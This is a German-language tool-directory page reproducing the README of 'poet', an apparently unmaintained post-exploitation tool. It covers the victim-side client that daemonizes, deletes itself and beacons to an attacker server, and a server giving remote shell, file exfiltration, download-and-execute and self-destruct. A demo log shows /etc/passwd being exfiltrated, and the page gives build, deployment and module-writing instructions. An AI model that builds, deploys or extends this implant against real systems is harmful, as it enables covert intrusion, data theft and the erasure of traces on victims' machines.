Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
poet — [nicht mehr gewartet] Post-Exploitation-Tool | Kitploit
Tools/GitHubGitHub/offlinemark/poet
AufklärungPayload-GenerierungDatenexfiltrationPost-ExploitationCommand and ControlRed TeamingRemote-Access-Tool
GitHubofflinemark/poet

poet

[nicht mehr gewartet] Post-Exploitation-Tool

Repository anzeigen
18150vor 10 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

poet

Ein einfaches POst-Exploitation-Tool.

Übersicht

Das Client-Programm läuft auf dem Zielrechner und ist mit einer IP-Adresse (dem Server) und einer Verbindungsfrequenz konfiguriert. Wenn der Server nicht läuft, wenn der Client eine Verbindung herstellen möchte, schläft der Client leise und versucht es im nächsten Intervall erneut. Läuft der Server jedoch, erhält der Angreifer eine Kommando-Shell, um den Client zu steuern und verschiedene Aktionen auf dem Ziel auszuführen, darunter:

  • Aufklärung
  • Remote-Shell
  • Datei-Exfiltration
  • Herunterladen und Ausführen
  • Selbstzerstörung

Demo

Dies ist nur ein kleiner Ausschnitt dessen, was Poet kann.

Das Szenario: Ein Angreifer hat Zugriff auf den Rechner des Opfers erlangt und den Client heruntergeladen und ausgeführt. Zu diesem Zeitpunkt läuft der Server noch nicht, aber das ist in Ordnung – der Client wartet geduldig. Irgendwann ist der Angreifer bereit und startet den Server, führt zunächst eine Shell aus und führt uname -a aus, dann exfiltriert er /etc/passwd. Anschließend beendet er die Verbindung und trennt sich vom Client, der auf dem Ziel weiterläuft und auf die nächste Gelegenheit wartet, sich mit dem Server zu verbinden. Später verbindet er sich erneut, zerstört den Client selbst und entfernt alle Spuren vom Ziel.

Rechner des Opfers (5.4.3.2):

root@kitploit:~
$ ./poet-client 1.2.3.4 10  # poet-client läuft als Daemon, daher ist nichts zu sehen

Warnung: Nach Ausführung dieses Befehls müssen Sie entweder selfdestruct vom Server aus ausführen oder den poet-client-Prozess beenden, um den Client zu stoppen.

Rechner des Angreifers (1.2.3.4):

root@kitploit:~
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
  chint
  dlexec
  exec
  exfil
  exit
  help
  recon
  selfdestruct
  shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
    You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated

Erste Schritte

Gehen Sie zur Releases-Seite und laden Sie die neuesten poet-client- und poet-server-Dateien herunter.

Springen Sie dann zum Abschnitt „Verwendung“ weiter unten.

Alternativ können Sie Poet selbst erstellen (das ist recht einfach, siehe unten).

Erstellen

Stellen Sie sicher, dass die ausführbaren Dateien python2.7 und zip verfügbar sind.

root@kitploit:~
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make

Dies erzeugt ein Verzeichnis bin/, das poet-client und poet-server enthält.

Verwendung

Poet ist extrem einfach zu verwenden und benötigt nichts weiter als die Python (2.7)-Standardbibliothek. Um es einfach zu testen, würde ein typischer Aufruf so aussehen:

Terminal 1:

root@kitploit:~
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct

Standardmäßig läuft der Poet-Client als Daemon und löscht sich selbst von der Festplatte, daher wird dieses Verhalten mit den Flags --debug und --no-selfdestruct unterdrückt.

Terminal 2:

root@kitploit:~
$ sudo ./poet-server

Standardmäßig muss der Server als root (mit sudo) ausgeführt werden, da der Standardport, an den er sich bindet, 443 ist. Wenn Ihnen das unangenehm ist, lassen Sie einfach sudo weg und verwenden Sie das Flag -p <PORT> sowohl auf Client- als auch auf Serverseite. Wählen Sie eine hohe, gut passende Portnummer (> 1024).

Konfiguration

Die Datei common/config.py enthält verschiedene optionale Konfigurationseinstellungen für Poet-Builds.

  • AUTH: Geheimes Authentifizierungstoken, das zwischen Client und Server für die Client-Authentifizierung geteilt wird. Beachten Sie, dass der Standardwert alles andere als geheim ist. Für jede nicht-testbezogene Verwendung wird empfohlen, ihn auf einen anderen, nicht erratbaren Wert zu ändern. Beachten Sie, dass vorgefertigte Pakete das standardmäßige, öffentliche Authentifizierungstoken verwenden.
  • ARCHIVE_DIR: Verzeichnis, das vom Server zum Speichern von Dateien (Ausgabe von Befehlen, Exfiltration, Aufklärung usw.) verwendet wird.
  • SERVER_IP: IP-Adresse des Servers.
  • BEACON_INTERVAL: Sekunden zwischen den Beacon-Signalen des Clients an den Server.

Die Konfigurationen SERVER_IP und BEACON_INTERVAL ermöglichen es, Informationen, die zuvor als Befehlszeilenargumente erforderlich waren, in die endgültigen ausführbaren Dateien einzubetten, sodass das endgültige Programm einfach ohne Argumente ausgeführt werden kann. Werte von None für eine der beiden führen dazu, dass sie auf das Standardverhalten zurückfallen (erforderliches Befehlszeilenargument für SERVER_IP, optionales Befehlszeilenargument für BEACON_INTERVAL).

Client

root@kitploit:~
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
                   IP [INTERVAL]

positional arguments:
  IP                    Poet Server
  INTERVAL              Beacon Interval, in seconds. Default: 600

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  --debug               show debug messages. implies --no-daemon
  --no-daemon           don't daemonize
  --no-selfdestruct     don't selfdestruct

Poet ist eine Client/Server-Anwendung. Der Client wird auf dem Ziel ausgeführt und sendet in einem bestimmten Zeitintervall Beacon-Signale an den Server zurück. Das einzige erforderliche Argument ist die IP-Adresse, auf der der Server läuft oder laufen wird. Optional kann das Zeitintervall in Sekunden angegeben werden, wie häufig Beacon-Signale gesendet werden sollen – standardmäßig 10 Minuten. Der Port, den der Client für Beacon-Signale verwendet, kann mit dem Flag -p angegeben werden. Alle anderen Flags würden in der „echten“ Nutzung nicht verwendet und dienen hauptsächlich der Fehlersuche.

Server

root@kitploit:~
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  -v, --version         prints the Poet version number and exits

Der Server wird auf dem eigenen Rechner des Benutzers ausgeführt und lauscht auf Beacon-Signale des Clients. Standardmäßig lauscht er auf einem privilegierten Port (443) und muss mit entsprechenden Rechten ausgeführt werden (die nach dem Binden schnell wieder abgegeben werden). Das Flag -p kann verwendet werden, um dies zu umgehen, indem ein nicht privilegierter Port zum Lauschen ausgewählt wird (>1024).

Erweiterbarkeit

Poet ist durch sein Modul-Framework hochgradig erweiterbar; tatsächlich ist fast jeder Befehl, der in der posh-Shell verfügbar ist, als Modul implementiert. Sie können im Verzeichnis common/modules/ eingesehen werden. Die Datei common/modules/template.py dient als minimales Beispielmodul, das als Ausgangspunkt verwendet werden kann. Um ein Poet-Modul hinzuzufügen, legen Sie es einfach im Verzeichnis common/modules/ ab und erstellen Sie Poet mit make neu.

Hier ist ein einfaches Beispielmodul, das die grundlegende Kommunikation zwischen Client und Server zeigt. Das Modul registriert einen posh-Befehl, sendet eine Zeichenkette, der Client kehrt sie um und sendet sie zurück, und der Server gibt sie aus.

root@kitploit:~
# Hinweis: Dieses Modul prüft nicht, ob ein argv[1] übergeben wurde

import module


@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv hier ist ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)


@module.client_handler('reverse')
def client(client, inp):
    # inp hier ist 'reverse ...'
    client.s.send(inp.split()[1][::-1])

Das Modul beginnt mit

root@kitploit:~
import module

Dies ist erforderlich und wird benötigt, um sich im Modul-Framework zu registrieren.

Der nächste Abschnitt ist die serverseitige Komponente des Moduls.

root@kitploit:~
@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv hier ist ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)

Der Dekorator @module.server_handler() registriert einen posh-Befehl, indem der Befehlsname als Parameter des Dekorators übergeben und eine Handler-Funktion definiert wird, die ausgeführt wird, wenn der Befehl ausgeführt wird. Die Handler-Funktion muss zwei Parameter akzeptieren. Einer ist die Instanz des PoetServer, der das Modul aufgerufen hat, und der andere ist die eingegebene Befehlszeichenkette, dargestellt als Liste von Argumenten. Die Server-Instanz existiert, damit das Modul Hilfsfunktionen für die Kommunikation mit dem Client, das Schreiben von Dateien in das Archivverzeichnis usw. nutzen kann. Das Modul verwendet server.conn.exchange(), um die eingegebene Befehlszeile als Zeichenkette an den Client zu senden und die Antwort als Rückgabewert zu erhalten.

Die clientseitige Komponente des Moduls folgt als nächstes.

root@kitploit:~
@module.client_handler('reverse')
def client(client, inp):
    # inp hier ist 'reverse ...'
    client.s.send(inp.split()[1][::-1])

Der Dekorator @module.client_handler() wird verwendet, um eine Aufgabe zu registrieren, auf die der Client reagieren und die er verarbeiten soll. Da Client und Server durch das Senden von Zeichenketten miteinander kommunizieren, ist der erste Teil der Zeichenkette das Schlüsselwort für eine bestimmte Aufgabe. Das Modul registriert eine Client-Handler-Funktion, die ausgeführt wird, wenn eine Nachricht vom Server eingeht, die mit 'reverse' beginnt. Ähnlich wie beim Server-Handler muss der Client-Handler Parameter für die Instanz des PoetClient akzeptieren, der ihn aufgerufen hat, sowie für die vom Server übergebene Eingabezeichenkette. Der Client verwendet dann die Funktion client.s.send(), um Daten an den Server zurückzusenden, in diesem Fall das erste Argument, umgekehrt.

In Aktion sieht das so aus:

root@kitploit:~
posh > reverse poet
Sending: poet
Received: teop

Bedenken

Dokumentierte Bedenken:

  • Fehlen kryptografisch geschützter Kommunikation
  • Beacon-Signale mit niedrigem Intervall sind laut und erzeugen TCP-RSTs, wenn der Server inaktiv ist
  • Der Shell-Befehl ist keine „echte“ Shell und unterstützt die meisten in Standard-Shells enthaltenen Builtins nicht

Haftungsausschluss

Ich erstelle Poet ausschließlich zu meiner eigenen Weiterbildung und Lernerfahrung. Der Code ist frei verfügbar, weil ich denke, dass er für andere nützlich sein könnte, die sich für diese Art von Dingen interessieren. Verwenden Sie es verantwortungsbewusst.

Tool herunterladen